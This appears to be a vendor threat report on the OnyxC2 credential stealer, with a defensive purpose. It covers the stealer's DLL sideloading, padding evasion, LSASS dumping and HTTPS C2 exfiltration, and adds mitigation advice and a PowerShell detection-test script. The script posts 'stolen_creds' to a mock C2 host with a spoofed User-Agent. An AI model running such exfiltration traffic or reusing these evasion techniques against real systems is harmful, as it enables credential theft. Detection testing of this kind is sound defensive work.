OnyxC2: A New Stealer Targeting 210 Applications

SOC Prime Team

OnyxC2: A New Stealer Targeting 210 Applications

Detection stack

AIDR
Alert
ETL
Query

Threat Report
Attack Flow
Detections
Simulations

Summary

OnyxC2 is an emerging malware-as-a-service stealer designed to target credentials, two-factor authentication extensions, and cryptocurrency wallets across roughly 210 applications. The platform offers a full commercial-style toolkit, including a management panel, builder, and remote access functionality. It also relies on advanced evasion methods, including DLL sideloading with oversized signed binaries and encrypted payload components.

Investigation

BlackFog researchers examined multiple OnyxC2 samples and discovered a DLL sideloading method that abuses a signed host executable alongside a malicious 120 MB+ DLL disguised as an NVIDIA graphics library. Network analysis showed the malware communicating over HTTPS with a specific backend API endpoint. The researchers also found encrypted overlays embedded within the DLL, helping the malware avoid straightforward static analysis.

Mitigation

Deploying anti-data exfiltration controls at the endpoint can help block unauthorized outbound traffic regardless of which process is used. Security teams should monitor for suspicious DLL loads associated with signed binaries and investigate unusually large files appearing in user-writable paths. Strong application control policies and monitoring for unauthorized scheduled tasks are also recommended.

Response

If OnyxC2 activity is detected, isolate the affected system immediately to stop further data theft. Capture a full memory dump to recover the decrypted payload and check for active HVNC sessions or SOCKS5 proxy activity. Review all recently created scheduled tasks and inspect browser credential stores for evidence of compromise.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef builtin fill:#cccccc classDef malware fill:#ff9999 classDef discovery fill:#ccffcc classDef exfiltration fill:#ffff99 %% Initial Access and Execution action_user_exec["Action – User Execution: Malicious File Description: Victims are lured into downloading password-protected archives containing malicious installers disguised as legitimate software."] class action_user_exec action action_side_loading["Hijack Execution Flow: DLL Side-Loading Description: Uses a legitimate, digitally signed executable to load a malicious, inflated DLL named borlndmm.dll."] class action_side_loading action malware_dll["Obfuscated Files or Information: Binary Padding Description: DLL is inflated to over 120 MB with legitimate NVIDIA graphics functions to evade security scanners."] class malware_dll malware %% Persistence and Command and Control action_persistence["Persistence Description: Employs optional scheduled task autorun capabilities."] class action_persistence action action_c2["Command and Control: Application Layer Protocol Description: Beaconing to backend via HTTPS at /backend/api/app.php often using Cloudflare fronting for stealth."] class action_c2 action %% Discovery and Credential Access action_discovery["Discovery Description: Harvests browser information including saved logins and cookies from 45 different Chromium and Gecko-based browsers."] class action_discovery discovery action_cred_mgr["Credential Access: Password Manager Credentials Description: Targets 5 different password manager applications to steal credentials."] class action_cred_mgr discovery action_lsass["Credential Access: OS Credential Dumping Description: Dumps LSASS memory to acquire credentials."] class action_lsass discovery %% Exfiltration action_exfil["Exfiltration Over C2 Channel Description: Stolen data including passwords, cookies, and wallet information is uploaded via the action=up_d request."] class action_exfil exfiltration %% Connection Flow action_user_exec –>|leads_to| action_side_loading action_side_loading –>|utilizes| malware_dll malware_dll –>|establishes| action_persistence action_persistence –>|initiates| action_c2 action_c2 –>|triggers| action_discovery action_discovery –>|leads_to| action_cred_mgr action_discovery –>|leads_to| action_lsass action_cred_mgr –>|provides data for| action_exfil action_lsass –>|provides data for| action_exfil action_exfil –>|communicates via| action_c2 "

Attack Flow

Attack Narrative & Commands: The adversary seeks to exfiltrate stolen browser credentials. To avoid detection by network security monitoring, they deploy a portable Tor binary to create an anonymized tunnel. Once the tunnel is established, the malware initiates a connection to its Command & Control (C2) server. To blend in with legitimate web traffic, the malware spoofs its User-Agent to appear as “Cloudflare” and targets a specific API endpoint hosted behind a Cloudflare proxy. This sequence is designed to trigger the detection rule’s correlation of tor command-line arguments and the specific /backend/api/app.php URL pattern.

Regression Test Script:

# Simulation of OnyxC2 Stealer Communication

# 1. Simulate the presence of Tor (Creating a dummy file/process behavior)
# In a real scenario, this would be the actual tor.exe
$TorPath = "$env:TEMPtor.exe"
"Simulated Tor Binary Content" | Out-File -FilePath $TorPath

# Create a process execution event for 'tor' via command line
Start-Process -FilePath "cmd.exe" -ArgumentList "/c echo running tor service" -WindowStyle Hidden

# To ensure the detection logic 'command_line|contains: tor' hits, 
# we execute a command that includes the string 'tor'
cmd.exe /c "echo initializing tor proxy..."

# 2. Simulate the C2 Network Connection
# We use PowerShell to simulate a network connection with the specific URL and User-Agent
$C2Url = "https://cloudflare-proxy-mock.com/backend/api/app.php"
$UserAgent = "Cloudflare-Proxy-Agent/1.0"

Write-Host "Attempting C2 communication to $C2Url"
Invoke-WebRequest -Uri $C2Url -UserAgent $UserAgent -Method Post -Body "data=stolen_creds" -ErrorAction SilentlyContinue

Cleanup Commands:

# Remove simulated artifacts
Remove-Item -Path "$env:TEMPtor.exe" -Force -ErrorAction SilentlyContinue
Write-Host "Simulation cleanup complete."

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free